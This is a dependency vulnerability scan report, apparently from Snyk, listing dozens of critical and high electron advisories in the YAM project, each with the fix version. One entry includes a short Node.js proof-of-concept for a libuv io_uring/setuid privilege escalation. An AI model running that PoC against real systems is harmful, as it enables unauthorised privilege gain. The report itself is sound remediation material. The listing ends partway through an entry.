Vulnerabilities

154 via 155 paths

Dependencies

307

Source

GitHub

Commit

f26c7ca6

Find, fix and prevent vulnerabilities in your code.

Severity
  • 7
  • 112
  • 35
Status
  • 154
  • 0
  • 0

critical severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion due to a flaw in the WebAssembly component. An attacker can execute arbitrary code on the victim's machine by convincing them to visit a maliciously crafted HTML page.

Remediation

Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.

References

critical severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Mojo interface. An attacker can potentially exploit heap corruption by delivering a crafted HTML page.

Remediation

Upgrade electron to version 27.3.3 or higher.

References

critical severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to improper handling of objects in memory in the ANGLE graphics engine. An attacker can cause heap corruption and potentially execute arbitrary code by convincing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.

References

critical severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the lack of limitation on max inlining ids in MaglevGraphBuilder. An attacker can achieve heap corruption and potentially execute arbitrary code by enticing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 37.2.5 or higher.

References

critical severity

Out-of-bounds Read

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read via a crafted HTML page. An attacker can potentially perform a sandbox escape by manipulating the memory outside its intended buffer limits.

Remediation

Upgrade electron to version 29.4.6, 30.4.0 or higher.

References

critical severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion via crafted HTML content. This can be exploited to escape the v8 sandbox and execute arbitrary code on the operating system.

Remediation

Upgrade electron to version 31.7.1, 32.2.1 or higher.

References

critical severity

Out-of-Bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-Bounds Write via the V8 engine. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the ANGLE component.

Remediation

Upgrade electron to version 26.6.5, 27.2.2 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via a crafted HTML page. An attacker can potentially exploit heap corruption by deceiving a user to visit a malicious web page.

Remediation

Upgrade electron to version 27.3.3 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the ANGLE component. An attacker can potentially exploit heap corruption through a crafted HTML page.

Remediation

Upgrade electron to version 27.3.11, 28.3.1, 29.3.1 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the WebRTC component. An attacker can cause heap corruption and potentially execute arbitrary code by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3, 30.1.2 or higher.

References

high severity

Improper Access Control

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Access Control due to an inappropriate implementation in Extensions. An attacker can bypass site isolation.

Remediation

Upgrade electron to version 31.7.4, 32.2.3 or higher.

References

high severity

Improper Restriction of Operations within the Bounds of a Memory Buffer

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Restriction of Operations within the Bounds of a Memory Buffer due to an inappropriate implementation in the V8 engine. An attacker can potentially perform out of bounds memory access by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.3.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read allowing a remote attacker to exploit heap corruption via a crafted HTML page.

Note: The Stable channel has been updated to 120.0.6099.234 for Mac devices.

Remediation

Upgrade electron to version 26.6.7 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read through the V8 engine. An attacker can access memory locations outside of the intended boundary by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read via a crafted HTML page. An attacker can access memory locations outside the intended boundary by crafting a malicious HTML page that triggers the flaw.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Out-of-Bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-Bounds Write through the Streams API. An attacker can execute arbitrary code within a sandboxed environment by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Privilege Context Switching Error

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Privilege Context Switching Error in libuv's handling of io_uring operations called before calling setuid(). This allows users to elevate privileges.

PoC

const { spawn } = require('node:child_process');
const process = require('process');

process.env['UV_USE_IO_URING']=1;

process.setuid(400);
const ls = spawn('cmd.exe', [' whoami']);

ls.stdout.on('data', (data) => {
    console.log(`stdout: ${data}`);
  });
  
ls.stderr.on('data', (data) => {
    console.error(`stderr: ${data}`);
  });
  
ls.on('close', (code) => {
    console.log(`child process exited with code ${code}`);
  });

console.log("The user identity of the Node.js" + " process:", process.getuid());

Remediation

Upgrade electron to version 29.4.0 or higher.

References

high severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8.

Remediation

Upgrade electron to version 17.4.11, 18.3.6 or higher.

References

high severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in V8.

Remediation

Upgrade electron to version 19.1.5, 20.3.5 or higher.

References

high severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion due to the V8 process. An attacker can potentially perform arbitrary read/write by exploiting a crafted HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in the storage foundation, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page

Remediation

Upgrade electron to version 16.0.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in the BFCache, due to the attempts to cache an interstitial which results in a crash.

Remediation

Upgrade electron to version 16.2.4, 17.4.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in File System API.

Remediation

Upgrade electron to version 16.2.6, 17.4.3, 18.2.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Angle.

Remediation

Upgrade electron to version 17.4.8, 18.3.4 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free when glBufferData redefines a buffer and the new buffer is smaller than the old buffer.

Remediation

Upgrade electron to version 18.3.11, 19.0.15 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Blink, when a DisplayLock is unlocked via ForceUnlockIfNeeded.

Remediation

Upgrade electron to version 18.3.11 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in SwiftShader.

Remediation

Upgrade electron to version 19.0.15 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebSQL

Remediation

Upgrade electron to version 18.3.14, 20.1.4 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebSQL.

Remediation

Upgrade electron to version 18.3.12, 19.0.16, 20.1.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Layout.

Remediation

Upgrade electron to version 19.1.0, 18.3.14 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Network Service

Remediation

Upgrade electron to version 20.1.2, 19.1.0, 18.3.12 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Frames, via a crafted HTML page.

Remediation

Upgrade electron to version 18.3.14, 19.1.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Layout.

Remediation

Upgrade electron to version 19.1.5, 20.3.5 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebCodecs, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 19.1.7, 20.3.7 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Web Workers, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 19.1.7, 20.3.7 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Mojo, via heap corruption.

Remediation

Upgrade electron to version 20.3.9, 21.4.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebRTC, causing heap corruption.

Remediation

Upgrade electron to version 20.3.12, 21.4.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the WebAudio component. An attacker can potentially exploit heap corruption by convincing a user to visit a crafted HTML page.

Remediation

Upgrade electron to version 26.6.5, 27.2.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Web Audio feature. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 26.6.8, 27.3.1 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to the improper handling of objects in memory in the Dawn component. An attacker can potentially exploit heap corruption through a crafted HTML page.

Remediation

Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to improper handling in the WebCodecs component. An attacker can achieve arbitrary read/write access by crafting a malicious HTML page.

Remediation

Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to improper handling of objects in memory in the Dawn component. An attacker can cause heap corruption and potentially execute arbitrary code by convincing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 27.3.11, 28.3.1, 29.3.1 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Media Session process. An attacker can execute arbitrary code inside a sandbox by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Dawn process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in the scheduling process. An attacker can execute arbitrary code inside a sandbox by using a crafted HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to the improper handling of memory in the Dawn process. An attacker can cause heap corruption by crafting a malicious HTML page.

Note: 126.0.6478.56 is the fixed version for Windows and Mac. Version 126.0.6478.54 fixes the vulnerability in Linux

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Dawn process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Note: 126.0.6478.56 is the fixed version for Windows and Mac. Version 126.0.6478.54 fixes the vulnerability in Linux

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') in v8.

Remediation

Upgrade electron to version 33.4.6, 34.3.4 or higher.

References

high severity

External Control of Assumed-Immutable Web Parameter

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to External Control of Assumed-Immutable Web Parameter via a crafted HTML page. An attacker can perform an out of bounds memory write by sending a specially crafted HTML content.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
